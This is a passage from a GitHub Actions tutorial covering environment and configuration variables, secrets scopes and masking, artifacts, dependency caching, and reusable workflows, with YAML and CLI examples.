echo "$GITHUB_CONTEXT" | jq .
echo "::endgroup::"
echo "::group::job context"
echo "$JOB_CONTEXT" | jq .
echo "::endgroup::"
echo "::group::runner context"
echo "$RUNNER_CONTEXT" | jq .
echo "::endgroup::"
The toJSON() function works with any context or sub-property. For example, toJSON(github.event.pull_request) dumps just the PR portion of the event payload. Pass it through env variables rather than inline in run: to avoid shell injection risks.
Environment Variables, Default Variables, and Configuration Variables
GitHub Actions gives you three distinct mechanisms for injecting configuration into your workflows: the env keyword for environment variables, a set of automatic default variables GitHub populates on every run, and configuration variables (vars context) that you define in your repository or organization settings. Understanding how they layer together is key to writing flexible, maintainable workflows.
The Three Scopes of env
You can declare environment variables at three levels in a workflow file: workflow, job, and step. Each narrower scope overrides the broader one. This lets you set sensible defaults at the top and override them precisely where needed.
# Workflow-level env — available to ALL jobs and steps
env:
APP_ENV: production
LOG_LEVEL: info
jobs:
build:
runs-on: ubuntu-latest
# Job-level env — overrides workflow-level for this job
env:
LOG_LEVEL: debug
steps:
- name: Print environment
# Step-level env — overrides job-level for this step only
env:
LOG_LEVEL: trace
run: |
echo "APP_ENV=$APP_ENV" # production (inherited)
echo "LOG_LEVEL=$LOG_LEVEL" # trace (step override wins)
Precedence Rules
When the same variable name appears at multiple scopes, the most specific scope wins. The override order is:
| Priority | Scope | Applies To |
|---|---|---|
| 1 (highest) | Step-level env | That single step only |
| 2 | Job-level env | All steps in that job |
| 3 (lowest) | Workflow-level env | All jobs and steps in the workflow |
All environment variable values are treated as strings. If you set env: { RETRIES: 3 }, the step receives the string "3", not an integer. Parse it explicitly in your scripts if you need a numeric type.
You can also set environment variables dynamically during a step using the GITHUB_ENV file. Variables written this way become available to subsequent steps in the same job — not the current step.
- name: Set dynamic variable
run: echo "BUILD_TAG=v1.2.3-$(date +%s)" >> "$GITHUB_ENV"
- name: Use dynamic variable
run: echo "Deploying $BUILD_TAG" # v1.2.3-1717001234
Default Environment Variables
GitHub Actions automatically sets a collection of environment variables on every runner. You don't declare these — they're just available. They give you metadata about the repository, the triggering event, the runner, and the current workflow run.
Here are the ones you'll reach for most often:
| Variable | Example Value | Description |
|---|---|---|
GITHUB_SHA | a1b2c3d4e5f6... | Full commit SHA that triggered the run |
GITHUB_REF | refs/heads/main | Full git ref (branch, tag, or PR merge ref) |
GITHUB_REF_NAME | main | Short ref name (branch or tag name only) |
GITHUB_REPOSITORY | octocat/hello-world | Owner and repo name (owner/repo) |
GITHUB_ACTOR | octocat | Username of the person or app that triggered the run |
GITHUB_EVENT_NAME | push | Name of the triggering event (push, pull_request, etc.) |
GITHUB_WORKSPACE | /home/runner/work/repo/repo | Default working directory for steps after checkout |
GITHUB_RUN_ID | 1658821493 | Unique numeric ID for this workflow run |
GITHUB_RUN_NUMBER | 42 | Sequential number for runs of this workflow (starts at 1) |
RUNNER_OS | Linux | OS of the runner: Linux, Windows, or macOS |
RUNNER_ARCH | X64 | Architecture of the runner: X64, ARM, or ARM64 |
You access these just like any shell variable. In a run step, use $GITHUB_SHA. In expressions (YAML values), use ${{ github.sha }} — note that the expression context uses dot notation on the github object rather than the environment variable name.
- name: Tag the Docker image
run: |
# Shell variable — works in run scripts
docker build -t myapp:$GITHUB_SHA .
- name: Conditional on ref
# Expression context — works in YAML fields like 'if'
if: github.ref == 'refs/heads/main'
run: echo "Running on the main branch"
$GITHUB_REF (shell variable) and ${{ github.ref }} (expression) usually hold the same value, but they resolve at different times. Expressions are evaluated before the shell runs, and they work in any YAML field (if, with, env). Shell variables only work inside run blocks. Prefer expressions in if conditionals and action inputs; use shell variables in scripts.
Configuration Variables (vars Context)
Configuration variables are non-secret values you define in the GitHub UI (or via the API) and reference through the vars context. Unlike env, these aren't hardcoded in your workflow file — they live in your repository, organization, or environment settings. This makes them ideal for values that differ between repos or environments but shouldn't be secrets (like a deployment URL, a feature flag, or a service region).
Creating Configuration Variables
You can define them at three levels, each with a different reach:
| Level | Where to set it | Available to |
|---|---|---|
| Repository | Repo → Settings → Secrets and variables → Actions → Variables tab | All workflows in that repo |
| Environment | Repo → Settings → Environments → env-name → Add variable | Jobs that reference that environment |
| Organization | Org → Settings → Secrets and variables → Actions → Variables tab | Repos granted access in the org |
When the same variable name exists at multiple levels, the most specific scope wins: environment-level beats repository-level, which beats organization-level.
Using vars in a Workflow
Reference configuration variables with the ${{ vars.VARIABLE_NAME }} expression. They work anywhere expressions are allowed — in env, run, with, and if fields.
jobs:
deploy:
runs-on: ubuntu-latest
environment: staging
env:
# Promote a config variable to an env var for scripts
DEPLOY_URL: ${{ vars.DEPLOY_URL }}
steps:
- name: Deploy application
run: |
echo "Deploying to $DEPLOY_URL"
curl -X POST "$DEPLOY_URL/api/deploy" \
-H "X-App-Version: ${{ vars.APP_VERSION }}"
- name: Conditional feature
if: vars.ENABLE_BETA_FEATURES == 'true'
run: echo "Beta features enabled for this environment"
Use vars for non-sensitive configuration: API base URLs, region names, feature flags, version strings. Use secrets for anything sensitive: API keys, tokens, passwords. Configuration variables are visible in logs and the UI; secrets are always masked.
Putting It All Together
Here's a realistic workflow fragment that combines all three mechanisms — custom env at multiple scopes, default variables from GitHub, and configuration variables from the vars context:
name: Build and Deploy
on: push
env:
IMAGE_REGISTRY: ${{ vars.DOCKER_REGISTRY }} # config variable
NODE_ENV: production # custom env
jobs:
build:
runs-on: ubuntu-latest
env:
IMAGE_TAG: ${{ github.sha }} # default variable
steps:
- uses: actions/checkout@v4
- name: Build image
run: |
docker build \
-t $IMAGE_REGISTRY/myapp:$IMAGE_TAG \
--label "commit=$GITHUB_SHA" \
--label "repo=$GITHUB_REPOSITORY" \
--label "runner=$RUNNER_OS" .
- name: Print summary
env:
DEPLOY_ENV: ${{ vars.TARGET_ENVIRONMENT }}
run: |
echo "Image: $IMAGE_REGISTRY/myapp:$IMAGE_TAG"
echo "Target: $DEPLOY_ENV"
echo "Actor: $GITHUB_ACTOR"
echo "Run: $GITHUB_RUN_NUMBER"
Secrets Management: Repository, Organization, and Environment Secrets
GitHub Actions gives you encrypted secrets so you never hard-code credentials, tokens, or API keys in your workflow files. Secrets are stored encrypted at rest and only exposed to runners at execution time. Understanding the three scopes — repository, organization, and environment — is essential for keeping your CI/CD pipelines both functional and secure.
The Three Scopes of Secrets
Every secret you create in GitHub Actions lives at one of three levels. The scope you choose determines which workflows and repositories can access the secret, and how granular your access control is.
| Scope | Available To | Who Can Create | Best For |
|---|---|---|---|
| Repository | All workflows in that single repo | Repo admins or collaborators with write access | Repo-specific tokens (e.g., deploy keys for one service) |
| Organization | Repos you select — all, private only, or a specific list | Organization admins | Shared credentials across multiple repos (e.g., Docker Hub, cloud provider keys) |
| Environment | Workflows that reference a specific environment | Repo admins | Stage-specific values (e.g., different DB passwords for staging vs production) |
When a secret name exists at multiple scopes, the most specific scope wins. Environment secrets override repository secrets, and repository secrets override organization secrets with the same name.
Organization Secret Visibility Controls
Organization secrets have an extra layer: visibility policies. When you create an org-level secret, you choose which repositories can access it. The three visibility options are:
- All repositories — every repo in the org (current and future) can use the secret.
- Private repositories — only private (and internal) repos get access. Public repos are excluded for safety.
- Selected repositories — you hand-pick exactly which repos can use the secret. This is the most secure option.
If you define AWS_ACCESS_KEY_ID at the org level and again at the repo level, the repo-level value is used. If you also define it on an environment called production, the environment value takes precedence when that environment is active. This lets you override shared defaults with repo- or stage-specific credentials.
Creating Secrets via the UI and CLI
You can create secrets through the GitHub web UI or programmatically with the GitHub CLI. The UI is straightforward for one-off secrets, but the CLI shines when you need to script secret creation across many repos or rotate values in bulk.
Using the GitHub CLI
The gh secret set command is the fastest way to create or update secrets from the terminal. It accepts the value from stdin, an environment variable, or a file — so you never need to type the secret in plaintext on the command line.
# Repository secret — set from stdin
echo "my-token-value" | gh secret set API_TOKEN --repo owner/repo
# Repository secret — read from a file (useful for certs or multi-line values)
gh secret set TLS_CERT --repo owner/repo < ./certificate.pem
# Organization secret — visible to selected repos only
gh secret set DOCKER_PASSWORD --org my-org --visibility selected \
--repos repo-api,repo-web,repo-worker
# Environment secret — scoped to the "production" environment
gh secret set DATABASE_URL --repo owner/repo --env production
Listing and Removing Secrets
# List all repository secrets (names only — values are never exposed)
gh secret list --repo owner/repo
# List organization secrets
gh secret list --org my-org
# Remove a secret
gh secret delete API_TOKEN --repo owner/repo
Using Secrets in Workflows
You reference secrets via the secrets context. They can be passed as environment variables to steps, as inputs to actions, or forwarded to reusable workflows. Secrets are never printed directly — GitHub's log masking replaces any detected secret values with ***.
jobs:
deploy:
runs-on: ubuntu-latest
environment: production
steps:
- name: Deploy to AWS
uses: aws-actions/configure-aws-credentials@v4
with:
aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
aws-region: us-east-1
- name: Run database migration
run: ./migrate.sh
env:
DATABASE_URL: ${{ secrets.DATABASE_URL }}
REDIS_URL: ${{ secrets.REDIS_URL }}
Passing Secrets to Reusable Workflows
Reusable workflows cannot automatically inherit the caller's secrets. You must explicitly pass them using the secrets keyword — or use secrets: inherit to forward all secrets at once.
# Caller workflow — explicitly pass specific secrets
jobs:
call-deploy:
uses: my-org/shared-workflows/.github/workflows/deploy.yml@main
secrets:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
# Or forward ALL secrets at once (simpler but less explicit)
jobs:
call-deploy:
uses: my-org/shared-workflows/.github/workflows/deploy.yml@main
secrets: inherit
Log Masking and Its Limits
GitHub automatically masks any secret value that appears in workflow logs, replacing it with ***. This masking applies to the exact string value of each secret. However, masking is not foolproof — there are several edge cases where secrets can leak.
- Structured output transformations — if your secret is
abc123and your script outputs it base64-encoded (YWJjMTIz), the encoded form is not masked. - Partial matches — if a secret is too short (e.g., a single character), GitHub may not mask it at all to avoid mangling normal log output.
- Workflow commands — the
::add-mask::command lets you dynamically mask derived values at runtime.
- name: Derive and mask a token
run: |
DERIVED_TOKEN=$(echo "${{ secrets.BASE_SECRET }}" | sha256sum | cut -d' ' -f1)
echo "::add-mask::$DERIVED_TOKEN"
echo "The derived token is now masked in subsequent output"
Workflows triggered by pull requests from forks do not receive repository or organization secrets. This is a deliberate security measure — a malicious fork could otherwise exfiltrate your credentials. The exception is pull_request_target, which runs in the context of the base branch and does have access to secrets, so use it with extreme caution.
Limits and Constraints
GitHub imposes hard limits on secrets that you should be aware of when designing your pipeline:
| Constraint | Limit |
|---|---|
| Maximum secret size | 48 KB per secret |
| Secrets per repository | 100 |
| Secrets per organization | 1,000 |
| Secrets per environment | 100 |
| Secret name characters | Alphanumeric and underscores only; cannot start with GITHUB_ |
If you hit the size limit — for example, with large certificates or key bundles — the standard workaround is to base64-encode the file, store the encoded string as a secret, and decode it in your workflow:
- name: Decode signing certificate
run: |
echo "${{ secrets.SIGNING_CERT_B64 }}" | base64 --decode > ./signing-cert.p12
echo "::add-mask::$(cat ./signing-cert.p12)"
Best Practices for Secret Rotation and Avoiding Exposure
Secrets are only useful if they stay secret. Over time, the risk of exposure grows — team members leave, logs get archived, and credentials age. A proactive rotation strategy limits the blast radius of any single compromise.
Rotation Strategy
- Automate rotation on a schedule. Use a script or CI job that generates a new credential, updates the GitHub secret via the API or
gh secret set, and revokes the old one. Aim for 90-day rotation at minimum. - Use short-lived tokens when possible. Cloud providers like AWS (OIDC), GCP (Workload Identity Federation), and Azure (federated credentials) support exchanging a GitHub Actions JWT for a temporary cloud token — no long-lived secret required at all.
- Audit secret access. The organization audit log records when secrets are created, updated, or deleted. Review it periodically.
Avoiding Exposure
- Never echo secrets for debugging. Even with log masking, it is a bad habit. If you must debug, mask derived values with
::add-mask::. - Restrict
pull_request_target. If you must use it, never check out the PR's head code and run it with access to secrets. - Pin third-party actions to full commit SHAs (not tags). A compromised tag on a third-party action could steal your secrets. SHA pinning prevents this.
- Use environment protection rules. Require manual approvals, restrict to specific branches, and add deployment reviewers for environments that hold production secrets.
If your cloud provider supports OIDC, eliminate static credential secrets entirely. The aws-actions/configure-aws-credentials, google-github-actions/auth, and azure/login actions all support OIDC-based authentication. No secret to rotate means no secret to leak.
Artifacts: Uploading, Downloading, and Sharing Data Between Jobs
Each job in a GitHub Actions workflow runs on a fresh virtual machine. When the job finishes, the VM is destroyed and every file it produced disappears. Artifacts solve this problem — they let you persist files after a job completes so you can download them from the GitHub UI, consume them in later jobs, or retrieve them via the REST API.
The two official actions that handle artifacts are actions/upload-artifact@v4 and actions/download-artifact@v4. Together, they form the backbone of any multi-job pipeline that needs to pass data — build outputs, test reports, binaries, logs — between stages.
What Exactly Is an Artifact?
An artifact is a zip-compressed archive of one or more files uploaded during a workflow run. GitHub stores it server-side and associates it with that specific run. You can think of it as a named bundle of files with a limited lifespan.
| Property | Details |
|---|---|
| Default retention | 90 days (configurable per-repo/org, 1–400 days) |
| Max size per artifact | 10 GB |
| Max total storage (free tier) | 500 MB; paid plans get more |
| Compression | Automatic zip compression on upload |
| Immutability | Once uploaded, an artifact cannot be modified — only deleted |
| Scope | Scoped to the workflow run; other runs cannot access it (unless you use the API) |
Artifacts are for outputs — build results, reports, binaries you want to keep or pass downstream. Caches (actions/cache) are for dependencies — node_modules, pip packages — that speed up repeated runs. Don't use artifacts as a caching mechanism; they count against your storage quota and are slower to restore.
Uploading Artifacts
The actions/upload-artifact@v4 action takes files from the runner's filesystem and uploads them to GitHub's artifact storage. At minimum you provide a name and a path.
- name: Upload build output
uses: actions/upload-artifact@v4
with:
name: my-app-build
path: dist/
This uploads everything inside dist/ as a single artifact named my-app-build. When you download it later (from the UI or in another job), you get a zip containing the directory's contents.
Key Input Parameters
| Parameter | Required | Description |
|---|---|---|
name | Yes | Name of the artifact. Must be unique within the workflow run. |
path | Yes | File, directory, or glob pattern. Supports multi-line for multiple paths. |
retention-days | No | Override the default retention period (1–90, capped by org/repo settings). |
compression-level | No | Zlib compression level: 0 (no compression) to 9 (max). Default is 6. |
if-no-files-found | No | warn (default), error, or ignore. Controls behavior when the path matches nothing. |
overwrite | No | Set to true to overwrite an artifact with the same name. Default is false. |
Pattern Matching and Multiple Paths
The path input supports glob patterns and multiple lines, giving you fine-grained control over which files to include.
- name: Upload test results and coverage
uses: actions/upload-artifact@v4
with:
name: test-reports
path: |
test-results/**/*.xml
coverage/lcov.info
!coverage/tmp/
retention-days: 14
if-no-files-found: error
Glob rules follow standard patterns: * matches within a directory, ** matches across directories, and ! prefixed lines exclude matches. The exclusion pattern !coverage/tmp/ above removes temporary files from the upload.
Tuning Compression
If you're uploading files that are already compressed (zip files, Docker images, JPEG images), set compression-level: 0 to skip double-compression and speed up the upload. For plain text like logs or source code, the default level of 6 strikes a good balance.
- name: Upload pre-compressed binaries
uses: actions/upload-artifact@v4
with:
name: release-binaries
path: build/*.tar.gz
compression-level: 0
Downloading Artifacts
Artifacts can be consumed in two ways: by a downstream job within the same workflow run (via actions/download-artifact@v4), or manually through the GitHub UI and REST API after the run completes.
Downloading in a Subsequent Job
To use an artifact from an earlier job, declare a needs dependency so the downstream job waits, then use download-artifact to pull the files onto the runner.
- name: Download build output
uses: actions/download-artifact@v4
with:
name: my-app-build
path: dist/
The path parameter here specifies where to extract the files. If you omit it, files are extracted into the current working directory. The name must match exactly what was used during upload.
Downloading All Artifacts at Once
If you omit the name input entirely, download-artifact downloads every artifact from the workflow run, each into its own subdirectory named after the artifact.
- name: Download all artifacts
uses: actions/download-artifact@v4
with:
path: all-artifacts/
# Results in:
# all-artifacts/my-app-build/...
# all-artifacts/test-reports/...
# all-artifacts/release-binaries/...
You can also use the pattern and merge-multiple inputs to selectively download artifacts by name pattern and flatten them into a single directory.
- name: Download all test reports from matrix jobs
uses: actions/download-artifact@v4
with:
pattern: test-report-*
path: merged-reports/
merge-multiple: true
Full Multi-Job Pipeline: Build → Test → Deploy
The most common artifact pattern is a pipeline where a build job produces compiled output, a test job validates it, and a deploy job ships it. Here's a complete, realistic example that ties everything together.
name: Build, Test, and Deploy
on:
push:
branches: [main]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
- run: npm ci
- run: npm run build
- name: Upload build artifact
uses: actions/upload-artifact@v4
with:
name: app-dist
path: dist/
retention-days: 7
test:
needs: build
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
- run: npm ci
- name: Download build artifact
uses: actions/download-artifact@v4
with:
name: app-dist
path: dist/
- run: npm test
- name: Upload test results
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results
path: test-results/*.xml
deploy:
needs: [build, test]
runs-on: ubuntu-latest
if: github.ref == 'refs/heads/main'
steps:
- name: Download build artifact
uses: actions/download-artifact@v4
with:
name: app-dist
path: dist/
- name: Deploy to production
run: |
echo "Deploying contents of dist/..."
ls -la dist/
Notice that the test job uploads its results with if: always(). This ensures test reports are captured even when tests fail — critical for debugging broken builds.
Matrix Builds: One Artifact per Variant
In v4, each artifact name within a run must be unique. When you use a matrix strategy, you must include the matrix values in the artifact name to avoid collisions.
jobs:
test:
runs-on: ubuntu-latest
strategy:
matrix:
node-version: [18, 20, 22]
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: ${{ matrix.node-version }}
- run: npm ci && npm test
- name: Upload test report
if: always()
uses: actions/upload-artifact@v4
with:
name: test-report-node-${{ matrix.node-version }}
path: test-results/
collect-reports:
needs: test
runs-on: ubuntu-latest
steps:
- name: Download all test reports
uses: actions/download-artifact@v4
with:
pattern: test-report-*
path: all-reports/
merge-multiple: true
- name: Summarize results
run: ls -R all-reports/
The collect-reports job uses pattern: test-report-* with merge-multiple: true to grab all three matrix artifacts and merge their contents into a single all-reports/ directory. This is the idiomatic way to aggregate outputs from matrix jobs in v4.
In upload-artifact@v3, multiple jobs could upload to the same artifact name and files would be appended. In v4, artifact names must be unique — uploading the same name twice causes an error (unless overwrite: true is set). Always include matrix variables in your artifact names when upgrading.
Downloading Artifacts via the UI and API
After a workflow run completes, artifacts appear in the Artifacts section at the bottom of the run summary page. Anyone with read access to the repository can download them as zip files directly from the browser.
For programmatic access, use the GitHub REST API. This is useful in external scripts, CD pipelines, or chatbots that need to fetch build outputs.
# List artifacts for a workflow run
curl -s -H "Authorization: Bearer $GITHUB_TOKEN" \
"https://api.github.com/repos/OWNER/REPO/actions/runs/RUN_ID/artifacts" \
| jq '.artifacts[] | {name, size_in_bytes, expired}'
# Download a specific artifact by its ID
curl -L -H "Authorization: Bearer $GITHUB_TOKEN" \
"https://api.github.com/repos/OWNER/REPO/actions/artifacts/ARTIFACT_ID/zip" \
-o artifact.zip
Practical Tips and Common Patterns
Upload on Failure for Debugging
One of the most useful patterns is uploading diagnostic files only when a job fails. This keeps your artifact storage lean while ensuring you have what you need to debug failures.
- name: Run E2E tests
run: npx playwright test
- name: Upload failure screenshots
if: failure()
uses: actions/upload-artifact@v4
with:
name: playwright-screenshots
path: test-results/**/*.png
retention-days: 3
Using Artifact Output in Subsequent Steps
The upload action outputs an artifact-id and artifact-url that you can reference in later steps — handy for posting download links in PR comments or Slack notifications.
- name: Upload build
id: upload-step
uses: actions/upload-artifact@v4
with:
name: release-package
path: dist/release.tar.gz
- name: Post artifact link
run: |
echo "Artifact ID: ${{ steps.upload-step.outputs.artifact-id }}"
echo "Download URL: ${{ steps.upload-step.outputs.artifact-url }}"
Set short retention-days for ephemeral artifacts like test reports (3–7 days) and longer retention for release binaries. Use compression-level: 0 for pre-compressed files. Monitor your storage usage under Settings → Billing → Actions to avoid surprise overages.
Dependency Caching: Strategies, Keys, and Optimization
Every workflow run that installs dependencies from scratch wastes minutes downloading the same packages. The actions/cache@v4 action stores files between runs so subsequent jobs can skip the expensive install step entirely. Understanding how cache keys resolve — and how to design them — is the difference between a cache that saves 3 minutes per run and one that never hits.
How Cache Resolution Works
When a job requests a cache, GitHub Actions evaluates your primary key first. If it finds an exact match, it restores that cache and skips the fallback logic. If there's no exact match, it walks through your restore-keys list in order, looking for the most recent cache entry whose key starts with each prefix. If a partial match is found, the cache is restored but will be saved under the new primary key at the end of the job.
flowchart TD
A["Job starts"] --> B["Compute cache key"]
B --> C{"Exact match
for primary key?"}
C -->|"Yes"| D["Restore cached files"]
D --> E["Run workflow steps
(skip install)"]
C -->|"No"| F{"Check restore-keys
in order"}
F -->|"Partial match found"| G["Restore partial cache"]
G --> H["Run workflow steps
(incremental install)"]
H --> I["Save cache under
new primary key"]
F -->|"No match at all"| J["Run workflow steps
(full install)"]
J --> I
E --> K["Job complete"]
I --> K
The key insight: restore-keys give you a graceful degradation path. Even when your lock file changes, you still restore most of the previous cache instead of starting from zero.
The Cache Key System
A well-designed cache key encodes exactly what the cached content depends on. The hashFiles() function computes a SHA-256 hash of one or more files, making it ideal for lock files that change only when dependencies change.
- name: Cache node modules
uses: actions/cache@v4
with:
path: ~/.npm
key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
restore-keys: |
${{ runner.os }}-node-
Here's how each segment of the key works:
| Key Segment | Purpose | Example Value |
|---|---|---|
runner.os | Prevents cross-OS cache collisions (Linux vs macOS binaries are incompatible) | Linux |
node | Namespace label — distinguishes this cache from other tool caches in the same repo | node |
hashFiles('**/package-lock.json') | Changes only when dependencies change, busting the cache at exactly the right time | a1b2c3d4e5... |
The restore-keys line (${{ runner.os }}-node-) acts as a prefix fallback. When the lock file hash changes, this prefix matches the most recent cache from the same OS and tool — restoring an older but still useful cache.
hashFiles() accepts glob patterns and hashes multiple files in a deterministic order. Use hashFiles('**/go.sum') for Go, hashFiles('**/requirements*.txt') for Python, or hashFiles('**/pom.xml') for Maven. If no files match the pattern, it returns an empty string — which means every run gets the same key and you'll overwrite the cache constantly.
Cache Scoping and Branch Hierarchy
Caches are scoped to a branch hierarchy. A workflow running on a feature branch can restore caches created on the same branch or on the base branch (usually main). However, a workflow on main cannot access caches created on feature branches. This hierarchy prevents stale or experimental caches from polluting your default branch.
Cache lookup order for branch: feature/add-login
1. feature/add-login (same branch — checked first)
2. main (default branch — fallback)
Cache lookup order for branch: main
1. main (only its own caches)
This means the first run of a new feature branch always benefits from the main branch cache. Once the feature branch creates its own cache entry, subsequent runs use that instead.
Limits and Eviction Policies
GitHub imposes a 10 GB cache limit per repository. When the total exceeds this limit, the oldest entries (by last access time) are evicted first. Individual cache entries that haven't been accessed in over 7 days are also eligible for eviction regardless of total size.
Matrix builds multiply cache entries fast. A matrix of 3 OS × 3 Node versions with a 200 MB cache each consumes 1.8 GB — nearly 20% of your repo's total limit. Use precise cache keys and consolidate where possible.
Built-in Caching with setup-* Actions
For common ecosystems, you don't need actions/cache at all. The official setup-* actions have built-in caching that handles key generation, path configuration, and restoration automatically. Just set cache to the package manager name.
- uses: actions/setup-node@v4
with:
node-version: 20
cache: 'npm'
# Automatically caches ~/.npm based on package-lock.json
- run: npm ci
- uses: actions/setup-python@v5
with:
python-version: '3.12'
cache: 'pip'
# Automatically caches pip's download cache based on requirements.txt
- run: pip install -r requirements.txt
- uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: '21'
cache: 'gradle'
# Automatically caches ~/.gradle/caches based on *.gradle* and gradle-wrapper.properties
- run: ./gradlew build
Built-in caching is the recommended approach when it fits your setup. It reduces boilerplate and follows best-practice key patterns maintained by the action authors. Use actions/cache directly only when you need custom paths, multiple cache entries, or caching for a tool that doesn't have a setup-* action.
Advanced: Multi-Path and Conditional Caching
Real-world projects often need to cache multiple directories or apply caching conditionally. The path input accepts multiple lines, and you can use the cache-hit output to skip redundant install steps entirely.
- name: Cache dependencies
id: cache-deps
uses: actions/cache@v4
with:
path: |
node_modules
~/.cache/Cypress
key: ${{ runner.os }}-deps-${{ hashFiles('**/package-lock.json') }}
restore-keys: |
${{ runner.os }}-deps-
- name: Install dependencies
if: steps.cache-deps.outputs.cache-hit != 'true'
run: npm ci
By caching node_modules directly (instead of the npm download cache), you skip both the download and the extraction step. The trade-off is a larger cache entry, but for projects with heavy dependencies like Cypress, this can save 60+ seconds per run.
Performance Optimization Tips
Choose What to Cache
| Strategy | What to Cache | Cache Size | Install Speed |
|---|---|---|---|
| Package manager cache | ~/.npm, ~/.cache/pip | Small | Still runs install (skips download) |
| Installed dependencies | node_modules, .venv | Large | Skips install entirely on exact hit |
| Build artifacts | .next/cache, target/ | Variable | Speeds up incremental builds |
Key Design Patterns
# Pattern 1: Lock file hash (most common)
key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}
# Pattern 2: Include Node version for native addons
key: ${{ runner.os }}-node${{ matrix.node-version }}-${{ hashFiles('**/package-lock.json') }}
# Pattern 3: Weekly cache rotation (force fresh cache periodically)
key: ${{ runner.os }}-npm-week${{ github.run_number / 1000 }}-${{ hashFiles('**/package-lock.json') }}
# Pattern 4: Multi-level restore-keys (most → least specific)
restore-keys: |
${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}
${{ runner.os }}-npm-
${{ runner.os }}-
You can list and delete caches via the GitHub CLI: gh cache list and gh cache delete <key>. This is invaluable for debugging cache misses or clearing corrupted entries. Automate stale cache cleanup in a scheduled workflow to stay well under the 10 GB limit.
Reusable Workflows: DRY CI/CD with workflow_call
As your organization grows, you'll find the same CI/CD patterns — build, test, deploy — copied across dozens of repositories. Reusable workflows let you define a complete workflow once and call it from other workflows using the workflow_call trigger. Think of them as functions at the workflow level: they accept typed inputs, receive secrets, run their own jobs, and return outputs.
Unlike composite actions (which bundle steps), reusable workflows encapsulate entire jobs. This makes them ideal for standardizing multi-job pipelines across an organization.
flowchart LR
subgraph Caller["Caller Workflow (repo-a)"]
A["jobs:
deploy:
uses: org/shared/.github/
workflows/deploy.yml@main"]
end
subgraph Reusable["Reusable Workflow (org/shared)"]
direction TB
B["on: workflow_call
inputs / secrets"] --> C["Job 1: Build"]
C --> D["Job 2: Test"]
D --> E["Job 3: Deploy"]
E --> F["outputs"]
end
A -- "inputs + secrets" --> B
F -- "outputs" --> A
Defining a Reusable Workflow
A reusable workflow is a normal workflow file with on: workflow_call as its trigger. You declare inputs, secrets, and outputs in the trigger block. Inputs are strongly typed — GitHub validates them before the called workflow runs.
# .github/workflows/deploy.yml (reusable workflow)
name: Reusable Deploy
on:
workflow_call:
inputs:
environment:
description: "Target environment"
required: true
type: string
dry-run:
description: "Simulate without deploying"
required: false
type: boolean
default: false
replicas:
description: "Number of pod replicas"
required: false
type: number
default: 3
secrets:
DEPLOY_TOKEN:
description: "Token for deployment"
required: true
SLACK_WEBHOOK:
description: "Optional Slack notification URL"
required: false
outputs:
deploy-url:
description: "URL of the deployed application"
value: ${{ jobs.deploy.outputs.url }}
The three input types — string, boolean, and number — cover the vast majority of use cases. Each input can have a default value and a required flag. Secrets follow a similar pattern but are always masked in logs.
Using Inputs, Secrets, and Outputs Inside the Reusable Workflow
Inside the reusable workflow, reference inputs with ${{ inputs.<name> }} and secrets with ${{ secrets.<name> }}. To expose outputs back to the caller, map job-level outputs up through the workflow_call outputs block.
# Jobs inside the reusable workflow
jobs:
deploy:
runs-on: ubuntu-latest
outputs:
url: ${{ steps.deploy-step.outputs.app_url }}
steps:
- uses: actions/checkout@v4
- name: Deploy to ${{ inputs.environment }}
id: deploy-step
run: |
if [ "${{ inputs.dry-run }}" = "true" ]; then
echo "Dry run — skipping actual deploy"
echo "app_url=https://dry-run.example.com" >> "$GITHUB_OUTPUT"
else
./deploy.sh \
--env "${{ inputs.environment }}" \
--replicas "${{ inputs.replicas }}" \
--token "${{ secrets.DEPLOY_TOKEN }}"
echo "app_url=https://${{ inputs.environment }}.example.com" >> "$GITHUB_OUTPUT"
fi
- name: Notify Slack
if: inputs.dry-run == false && secrets.SLACK_WEBHOOK != ''
run: |
curl -X POST "${{ secrets.SLACK_WEBHOOK }}" \
-d '{"text":"Deployed to ${{ inputs.environment }}"}'
Calling a Reusable Workflow
The caller workflow references the reusable workflow with uses at the job level, not the step level. This is a critical distinction — you replace the entire runs-on + steps block with a single uses line. Inputs go under with, and secrets go under secrets.
# .github/workflows/release.yml (caller workflow)
name: Release Pipeline
on:
push:
tags: ["v*"]
jobs:
staging:
uses: my-org/shared-workflows/.github/workflows/deploy.yml@main
with:
environment: staging
dry-run: false
replicas: 2
secrets:
DEPLOY_TOKEN: ${{ secrets.STAGING_DEPLOY_TOKEN }}
SLACK_WEBHOOK: ${{ secrets.SLACK_WEBHOOK }}
production:
needs: staging
uses: my-org/shared-workflows/.github/workflows/deploy.yml@main
with:
environment: production
replicas: 5
secrets:
DEPLOY_TOKEN: ${{ secrets.PROD_DEPLOY_TOKEN }}
post-deploy:
needs: production
runs-on: ubuntu-latest
steps:
- run: echo "Deployed to ${{ needs.production.outputs.deploy-url }}"
needsThe caller accesses reusable workflow outputs via needs.<job-id>.outputs.<output-name>, exactly like regular job dependencies. The reusable workflow's internal job structure is invisible to the caller.
The secrets: inherit Shorthand
Explicitly passing every secret can be tedious, especially when a reusable workflow needs many of them. The secrets: inherit keyword forwards all secrets from the caller to the reusable workflow automatically — including organization and repository-level secrets.
jobs:
deploy:
uses: my-org/shared-workflows/.github/workflows/deploy.yml@main
with:
environment: production
secrets: inherit # passes ALL caller secrets automatically
This is convenient but trades explicitness for brevity. In security-sensitive contexts, prefer passing secrets individually so it's clear which secrets each workflow receives.
Cross-Repository Reusable Workflows
Reusable workflows are most powerful when shared across repositories. The uses syntax supports three reference patterns:
| Pattern | Syntax | Use Case |
|---|---|---|
| Same repository | ./.github/workflows/build.yml | Internal workflow composition |
| Another repository | org/repo/.github/workflows/build.yml@ref | Shared org-wide pipelines |
